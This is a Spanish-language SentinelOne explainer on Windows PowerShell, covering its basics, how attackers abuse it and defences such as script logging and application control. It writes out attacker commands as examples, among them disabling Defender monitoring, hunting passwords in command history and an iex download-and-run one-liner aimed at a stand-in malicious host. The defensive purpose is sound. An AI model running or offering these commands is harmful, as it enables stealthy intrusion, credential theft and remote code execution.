Skip to main content
Ciberseguridad

¿Qué es Windows PowerShell?

Windows PowerShell es una potente herramienta de automatización. Comprenda sus implicaciones de seguridad y cómo usarla de forma segura en su entorno.

Por SentinelOne
¿Qué es Windows PowerShell?

Windows PowerShell es un potente lenguaje de scripting y shell de línea de comandos para automatizar tareas y administrar configuraciones. Esta guía explora las características y capacidades de PowerShell, incluido su papel en la administración de sistemas y la seguridad.

Conozca los comandos comunes de PowerShell, las mejores prácticas de scripting y cómo aprovechar PowerShell con fines de ciberseguridad. Comprender PowerShell es esencial para los profesionales de TI y los especialistas en seguridad.

¿Cómo puede PowerShell afectar los activos valiosos de su empresa? Conozca los conceptos básicos de PowerShell, por qué resulta atractivo para los hackers y cómo proteger la empresa

Microsoft PowerShell es un shell de línea de comandos y lenguaje de scripting que se utiliza para automatizar tareas y administrar sistemas basados en Windows. Los administradores y profesionales de seguridad lo usan habitualmente para automatizar tareas rutinarias, administrar y supervisar sistemas, y automatizar respuestas a incidentes de seguridad. Los atacantes suelen usar PowerShell para obtener acceso no autorizado a sistemas y ejecutar código malicioso.

Microsoft PowerShell ha estado disponible en Windows desde al menos 2006, pero ahora es el shell de comandos de File Explorer en Windows 10 y en gran medida ha reemplazado la antigua herramienta cmd.exe. Aunque los usuarios comunes a menudo lo consideran arcano, PowerShell se ha vuelto esencial para los equipos de TI y los administradores de red debido a su flexibilidad y potencia. En esta guía introductoria, explicaremos los conceptos básicos de PowerShell, por qué resulta atractivo para los hackers y los autores de malware, y qué puede hacer para proteger su organización.

Elija su variante

Si escribe ‘PowerShell’ en el campo de búsqueda de Cortana, se le presentarán un par de opciones, PowerShell ISE y la aplicación de escritorio PowerShell. Además, si hace clic con el botón derecho en el menú Inicio o en cualquiera de los iconos de PowerShell en la barra de tareas, verá que hay dos formas diferentes de iniciar cualquiera de las versiones de PowerShell: como el usuario actual o como administrador.

Es probable que los administradores que deseen automatizar tareas comunes utilicen la interfaz ISE para desarrollar módulos y scripts de PowerShell, pero para el uso interactivo, la mayoría elegirá la aplicación de escritorio PowerShell y la ejecutará como administrador o como usuario actual según la tarea.

También puede oír hablar de PowerShell Core, una edición multiplataforma y de código abierto que se ejecuta no solo en Windows, sino también en Linux y macOS:

Sin embargo, tenga cuidado con esto, ya que se instala como un binario sin firma y podría sustituirse fácilmente por un impostor malicioso. Si tiene endpoints que usan PowerShell Core, asegúrese de que su organización lo firme con un certificado adecuado o ejecute comprobaciones regulares de shasum para garantizar que no haya sido manipulado.

Aunque existen algunas diferencias de capacidades entre las distintas variantes de PowerShell, todas pueden ejecutar sesiones remotas a través de SSH e interactuar con una amplia variedad de procesos y servicios. PowerShell incluso puede interactuar con el registro de Windows y el registro de eventos. Y todo esto significa que un adversario con acceso a PowerShell tiene el mismo acceso y las mismas ventajas.

Liberando el poder

Puede empezar a hacerse una idea de las capacidades de PowerShell con dos comandos sencillos:

Get-Module -ListAvailable

para enumerar los módulos disponibles, y

Get-Command

para enumerar los comandos disponibles:

Veamos rápidamente algunos ejemplos. Suponga que usted (o un adversario) se está moviendo dentro de un directorio de documentos y quiere encontrar rápidamente si hay algo interesante en él. Un comando como el siguiente mostrará las dos primeras y las dos últimas líneas de cada archivo de texto del directorio, descendiendo recursivamente por los directorios secundarios e incluyendo cualquier archivo oculto o invisible, y canalizando la salida a otro archivo de texto para su revisión o recuperación posterior:

Get-ChildItem -Force -R .*.txt | ForEach-Object {Get-Content $_ -TotalCount 2; Get-Content $_ -Tail 2} *>> o.log

Si alguien estuviera buscando documentos que pudieran comenzar con “Confidential” o terminar con el cargo del autor, como “Chief Financial Officer”, esta podría ser una forma “rápida y rudimentaria” de enumerar elementos de interés.

Eliminar un elemento, quizá para borrar cualquier evidencia de intrusión, es simplemente cuestión de

Remove-Item <path>

PowerShell también permite a los usuarios manipular el sistema operativo de formas interesantes y, por desgracia, peligrosas. Si un autor de malware quiere eludir el motor AV preinstalado de Microsoft Defender, ejecutar un comando de PowerShell con los privilegios adecuados puede deshabilitarlo:

Set-MpPreference -DisableRealTimeMonitoring $true

o, de forma algo más sigilosa, excluir una unidad o ruta de sus rutas de búsqueda:

Add-MpPreference -ExclusionPath “c:”

PowerShell también facilita a los atacantes hacer cosas como enumerar sus unidades de red y consultar el registro de eventos, una forma útil de encontrar información explotable, con Get-PSDrive y Get-EventLog, respectivamente.

Una herramienta útil tanto para usuarios como para actores maliciosos es la capacidad de leer el historial de comandos, incluidos los argumentos pasados a ellos, que se han introducido de forma interactiva en la línea de comandos. El historial se almacena en la ruta que devuelve este comando:

(Get-PSReadLineOption).HistorySavePath

y podemos usar cat y el cmdlet Select-String (o su alias sls) para “grep” de forma efectiva o buscar en los comandos elementos de interés (por ejemplo, como ¡contraseñas!):

Scripts y kits de explotación

Sin embargo, trabajar con PowerShell en la línea de comandos no es donde se encuentran las mejores oportunidades para los actores maliciosos. Más peligrosa es la capacidad de PowerShell para ejecutar scripts tanto en memoria (también conocido como malware “fileless”) como desde disco. Ambos pueden ejecutarse directamente en un host o de forma remota.

Al igual que el comando eval del shell Unix, PowerShell tiene Invoke-Expression (y su alias iex), lo que hace posible descargar y ejecutar un script malicioso en memoria. Podemos añadir Bypass para intentar eludir una política de ejecución restringida:

powershell -ep Bypass —nop -c "iex(New-Object Net.WebClient).DownloadString('http://malicious.scripts.com/mlwr.ps1')"

Como era de esperar, no ha tardado mucho en aparecer marcos completos de explotación que aprovechan PowerShell en todo su potencial.

El primero entre ellos es PowerSploit, una colección de scripts de PowerShell que puede ayudar a manipular y controlar la máquina de una víctima.

PowerShell Empire se basa en el trabajo de PowerSploit y varios otros proyectos para crear una herramienta de post-explotación que puede evadir la detección de red, ejecutar keyloggers y ejecutar otros módulos como Mimikatz para extraer contraseñas en texto claro, hashes de contraseñas y otros datos directamente de la memoria.

El auge de los ataques con PowerShell

La creación de scripts de PowerShell y comandos de PowerShell que pueden ejecutarse desde otros tipos de archivos de Windows, .exe, .bat, .wsf y .LNK, es una de las razones por las que el malware basado en PowerShell ha ido en aumento en los últimos años. Con una estimación que afirma que los exploits de PowerShell representan casi el 40 % de los incidentes de malware, no cabe duda de que los adversarios lo están utilizando en una amplia variedad de campañas, desde ransomware hasta robo de credenciales y troyanos bancarios. PowerShell también se ha relacionado con fraude de clics, sniffing de contraseñas y exfiltración de datos.

DNSMessenger es un malware que se detectó propagándose en una macro de documento de Word. Utiliza ingeniosamente código fuente VBA para entregar comandos de PowerShell codificados con el fin de lograr persistencia, entregar su carga útil y comunicarse con un servidor C&C.

Sorprendentemente, algunos ataques con PowerShell ni siquiera requieren el PowerShell.exe integrado. Herramientas como PowerShdll y InsecurePowerShell pueden ejecutar scripts directamente aprovechando System.Management.Automation.dll, que subyace al binario de PowerShell. En resumen, el ejecutable de PowerShell es solo un host o envoltorio para el código real en la biblioteca de vínculo dinámico. Los ataques pueden aprovechar esto para hacer esencialmente que cualquier proceso ejecute scripts y comandos de PowerShell.

Otros usos creativos de PowerShell implican incrustar un script de PowerShell en los píxeles de un archivo PNG y generar una línea única para ejecutarlo usando Invoke-PSImage, o convertir scripts de PowerShell en un archivo EXE con herramientas como PS2EXE.

Administración de PowerShell

Probablemente quede claro por todo esto que simplemente bloquear PowerShell.exe sería inútil, por no mencionar una gran carga para los administradores de sistemas que han llegado a depender de lo que ofrece PowerShell. Es importante entender que PowerShell y las DLL en las que se basa son partes integrales del sistema operativo Windows y, con la llegada de PowerShell Core, ese poder se extiende a oportunidades de administración multiplataforma que las empresas pueden considerar esenciales.

Una solución empresarial eficaz para abordar la naturaleza dual de PowerShell es una como SentinelOne, que analiza el comportamiento de los procesos que se ejecutan en el endpoint. Esto es eficaz porque operan de manera similar independientemente de cómo se implementen los ataques de malware. El agente de SentinelOne supervisa todas las actividades en el agente para diferenciar entre lo malicioso y lo benigno. Dado que el agente ya dispone del contexto completo: usuarios, procesos, argumentos de línea de comandos, registro, archivos en disco y comunicación externa, la actividad maliciosa puede mitigarse independientemente de la fuente.


¿Le gusta este artículo? Síganos en LinkedIn, Twitter, YouTube o Facebook para ver el contenido que publicamos.

Lea más sobre seguridad de Windows

Callout Background Image Gradient

Ciberseguridad basada en IA

Mejore su postura de seguridad con detección en tiempo real, respuesta a velocidad de máquina y visibilidad total de todo su entorno digital.

Preguntas frecuentes sobre Windows PowerShell

Windows PowerShell es un shell de línea de comandos y lenguaje de scripting de Microsoft basado en .NET Framework. Le permite usar cmdlets—comandos simples con formato verbo-sustantivo—para automatizar tareas como la administración del sistema de archivos, el registro y los servicios.

PowerShell maneja y devuelve objetos en lugar de texto sin formato, por lo que puede canalizar datos estructurados de un cmdlet al siguiente. También admite acceso remoto, módulos y ayuda en consola para la administración del sistema.

A diferencia del antiguo CMD, PowerShell usa cmdlets con un formato verbo-sustantivo y trabaja con objetos .NET en lugar de flujos de texto. Eso significa que puede encadenar comandos mediante canalizaciones sin analizar texto. Los scripts de PowerShell pueden llamar directamente a las API de .NET, ofrecer un manejo de errores más completo y admitir módulos.

Los shells tradicionales solo manejan texto sin formato y scripts por lotes básicos, mientras que PowerShell proporciona un entorno de scripting completo para automatización y configuración.

La profunda integración con el sistema y la potencia de scripting de PowerShell lo convierten en una opción preferida tanto para administradores como para atacantes. Los actores de amenazas usan técnicas fileless—ejecutando scripts en memoria—para evadir la detección.

PowerShell puede deshabilitar defensas, descargar código malicioso o robar credenciales sin tocar el disco. Su ubicuidad en Windows significa que los defensores deben tratar la actividad de PowerShell como de alto riesgo y supervisarla de cerca para detectar abusos.

En un estudio de Cisco, PowerShell estuvo involucrado en más de un tercio de las amenazas de seguridad críticas en endpoints. Carbon Black informó abuso de PowerShell en el 38 por ciento de los incidentes, a menudo en acciones posteriores a la explotación como movimiento lateral o robo de credenciales.

Aunque el uso normal es bajo, PowerShell aparece en aproximadamente uno de cada catorce encuentros maliciosos confirmados.

Habilite todo el registro de PowerShell: registro de módulos, registro de bloques de scripts y transcripción. Establezca el tamaño del registro en al menos 150 MB y recopile eventos de

Microsoft-Windows-PowerShell/Operational y PowerShellCore/Operational. Envíe los registros a SIEM o XDR. Bloquee scripts de procesos primarios no confiables y restrinja la directiva de ejecución solo a scripts firmados. Active Protected Event Logging para obtener más detalle.

Use Just Enough Administration (JEA) para limitar el acceso de los usuarios únicamente a cmdlets aprobados. Aplique el modo de lenguaje restringido para deshabilitar COM, WMI y expresiones complejas. Implemente políticas de Application Control (p. ej., WDAC) para permitir únicamente scripts firmados.

Mantenga PowerShell actualizado a v5.1 o posterior. Revise y ajuste periódicamente la configuración de registro para garantizar que se registre cada invocación de script.

Bloquear completamente PowerShell puede afectar la administración del sistema y la administración remota. Microsoft desaconseja su eliminación total. En su lugar, limite la ejecución a administradores autorizados, aplique control de aplicaciones y restrinja que PowerShell se inicie desde procesos primarios no confiables como aplicaciones de Office.

Combinados con el registro y la supervisión, estos controles detienen la mayoría de los usos maliciosos sin perjudicar las operaciones legítimas.

PowerShell permite a los defensores automatizar la respuesta a incidentes, recopilar rápidamente datos forenses y buscar amenazas. Puede escribir scripts para recopilar artefactos del registro, listas de procesos y conexiones de red en minutos. Aprender PowerShell también ayuda a comprender las técnicas de los atacantes, ya que muchas herramientas posteriores a la explotación (Empire, Cobalt Strike) usan PowerShell internamente.

Los scripts de PowerShell pueden recopilar memoria activa, claves Run del registro, registros de eventos y datos de red para el triaje. Herramientas de la comunidad como DFIR-Script automatizan la recopilación de evidencias en endpoints. Los hunters usan PowerShell para consultar Windows Event ID 4104 en busca de bloques de scripts maliciosos, analizar la salida y enviar los resultados a playbooks de SOAR. Esto convierte a PowerShell en una parte central de los flujos de trabajo de detección, contención y remediación.

Descubra más sobre Ciberseguridad

Decorative background gradient

Experimente la plataforma de ciberseguridad más avanzada

Vea cómo la plataforma de ciberseguridad autónoma e inteligente líder del mundo puede proteger a su organización hoy y en el futuro.
Dark dashboard UI with purple-highlighted nav, summary cards showing 149, 7, 78, 56, 1.2 h, and a status table with linked purple text